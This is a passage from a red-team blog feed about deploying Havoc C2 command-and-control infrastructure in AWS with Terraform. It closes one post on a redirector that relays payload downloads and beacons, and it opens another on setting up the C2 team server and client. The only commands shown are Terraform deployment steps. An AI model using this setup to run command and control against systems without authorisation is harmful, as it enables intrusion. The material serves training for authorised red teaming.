srcset="https://substackcdn.com/image/fetch/$s_!q-mm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 424w, https://substackcdn.com/image/fetch/$s_!q-mm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 848w, https://substackcdn.com/image/fetch/$s_!q-mm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!q-mm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!q-mm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg" width="606" height="230.16346153846155" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:553,&quot;width&quot;:1456,&quot;resizeWidth&quot;:606,&quot;bytes&quot;:72574,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!q-mm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 424w, https://substackcdn.com/image/fetch/$s_!q-mm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 848w, https://substackcdn.com/image/fetch/$s_!q-mm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!q-mm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Downloading the payload hosted on redirector machine</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UWhV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UWhV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 424w, https://substackcdn.com/image/fetch/$s_!UWhV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 848w, https://substackcdn.com/image/fetch/$s_!UWhV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!UWhV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UWhV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg" width="620" height="229.94505494505495" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:540,&quot;width&quot;:1456,&quot;resizeWidth&quot;:620,&quot;bytes&quot;:105296,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UWhV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 424w, https://substackcdn.com/image/fetch/$s_!UWhV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 848w, https://substackcdn.com/image/fetch/$s_!UWhV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!UWhV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8358ade4-2b8c-4198-b991-cc5400a85bc4_1871x694.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Beacon received via redirector</figcaption></figure></div><p>Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):</p><pre><code><code>terraform destroy -var-file "secrets.tfvars"</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gGiK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gGiK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gGiK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gGiK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gGiK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gGiK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg" width="1113" height="411" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:411,&quot;width&quot;:1113,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:124560,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gGiK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gGiK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gGiK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gGiK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e11cd7-e510-4071-aed3-844737e9d1bc_1113x411.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Destroying red team infrastructure via Terraform</figcaption></figure></div><pre><code><strong>TL;DR
</strong>In this post we covered how to:
- Deploy and configure a redirector machine via Terraform.
- Deploy systemd services to auto-start Havoc C2 team server and automatically establish a reverse tunnel via autossh.
- Validate the functioning of redirector machine by deploying a payload on a Windows box.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Red Team Infrastructure - Deploying Havoc C2 via Terraform]]></title><description><![CDATA[Learn how to deploy Havoc C2 (team server and client) in AWS via Terraform.]]></description><link>https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Sat, 17 May 2025 14:30:44 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/e776d210-80a9-4076-b973-251b3831002a_614x614.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In previous posts, we laid out the foundational red team infrastructure in AWS using Terraform. The configuration included the creation of a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-vpc-creation-with-terraform">Virtual Private Cloud (VPC)</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-subnet-creation-with-terraform">public and private subnets, route tables, an internet gateway</a>, a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform">Kali Linux EC2 instance with SSH access</a> and <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-ec2-windows-server-deployment-with-terraform">a Windows Server EC2 instance with RDP access</a>.</p><p>In this post, this infrastructure takes a significant step forward with the deployment of a dedicated command and control (C2) server. The goal is to deploy Havoc C2 team server on an Ubuntu 24.04 EC2 instance and configure the existing Kali machine to run the Havoc client&#8212;completing the end-to-end command and control setup often required in red team operations.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4>Why Havoc C2?</h4><p>When planning infrastructure for red team engagements, selecting the right C2 framework is essential. Commercial C2 platforms such as Cobalt Strike or Brute Ratel are feature-rich but expensive. Many open-source alternatives like Sliver or Covenant offer potential, but they are primarily command-line driven and lack intuitive UIs, which can be a barrier for operators used to graphical workflows. <a href="https://havocframework.com/">Havoc C2</a> fills this gap. It is open-source, feature-rich, and includes a graphical interface that provides an accessible and professional feel. </p><h4>EC2 instance and other configuration</h4><p>To deploy the Havoc team server, a new <code>t3.medium</code> Ubuntu 24.04 EC2 instance is added to our red team infrastructure. This instance will be attached to the existing public subnet. Users will be allowed to connect to the instance via SSH (<a href="https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform">key-based authentication</a>). SSH access will be allowed over the internet (for now) but will be restricted to the user&#8217;s public IP address. </p><p>Havoc C2 installation is automated by passing <a href="https://github.com/100daysofredteam/Terraform/blob/main/Red%20Team%20Infra/AWS/EC2-Havoc-C2/scripts/havoc_c2_user_data.sh">an initialization bash script</a> as a template file to the EC2 instance via <code>user_data</code> argument. This bash script will install all necessary dependencies, clone the Havoc GitHub repository and compile the Havoc server.</p><p>Havoc C2 provides a GUI-based client interface. To be able to access it a machine with Desktop interface is required. This can be approached in a couple of ways. The first approach is to leverage the WSL on the Windows machine. The second approach is to enable RDP access on the Kali Linux machine and deploy the client on it. We will be going with the second approach, primarily to reduce the setup time.</p><p>To enable RDP access and deploy Havoc C2 client on the Kali machine, I have updated it&#8217;s <a href="https://github.com/100daysofredteam/Terraform/blob/main/Red%20Team%20Infra/AWS/EC2-Havoc-C2/scripts/kali_user_data.sh">initialization bash script</a> to include relevant commands. I also changed the instance type of the Kali Linux EC2 from t3.small to t3.medium. This change was required for successful compilation of Havoc C2 client.</p><p>Finally, the ingress rules in the security group are updated to allow access to port 40056 from within the public subnet. Port 40056 is the default port for Havoc C2 team server.</p><h4>Deploying Havoc C2</h4><p>Refer to the <a href="https://www.100daysofredteam.com/p/kickstarting-red-team-infrastructure-automation-via-terraform">Kickstarting red team infrastructure automation via Terraform</a> to understand the architecture we are working with.</p><p>Here is the <a href="https://github.com/100daysofredteam/Terraform/tree/main/Red%20Team%20Infra/AWS/EC2-Havoc-C2">Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that deploys Havoc C2</a>.</p><p>Clone this project to your machine and execute the following commands to deploy the infrastructure:</p><p>&#9888;&#65039;<strong>Reminder: </strong>Switch to the dev Terraform workspace (<code>terraform workspace select dev)</code> before executing following commands. To create dev workspace use, <code>terraform workspace new dev</code>.</p><pre><code><code>terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"</code></code></pre><blockquote><p><strong>Reminder</strong>: You must create a <code>secrets.tfvars</code> file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LX4C!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LX4C!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 424w, https://substackcdn.com/image/fetch/$s_!LX4C!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 848w, https://substackcdn.com/image/fetch/$s_!LX4C!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!LX4C!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LX4C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg" width="1112" height="490" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:490,&quot;width&quot;:1112,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78903,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LX4C!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 424w, https://substackcdn.com/image/fetch/$s_!LX4C!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 848w, https://substackcdn.com/image/fetch/$s_!LX4C!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!LX4C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7d88a5-4a71-4da0-9a3a-53c791de6802_1112x490.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Deploying red team infrastructure via Terraform</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lXnI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lXnI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 424w, https://substackcdn.com/image/fetch/$s_!lXnI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 848w, https://substackcdn.com/image/fetch/$s_!lXnI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!lXnI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lXnI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg" width="1456" height="319" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:319,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:83842,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!lXnI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 424w, https://substackcdn.com/image/fetch/$s_!lXnI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 848w, https://substackcdn.com/image/fetch/$s_!lXnI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!lXnI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d325800-2171-489f-b16d-9a9b59c3d513_1617x354.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Ubuntu 24.04 EC2 instance (for hosting Havoc C2 team server) provisioned via Terraform </figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4jRm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg" data-component-name="Image2ToDOM"><div 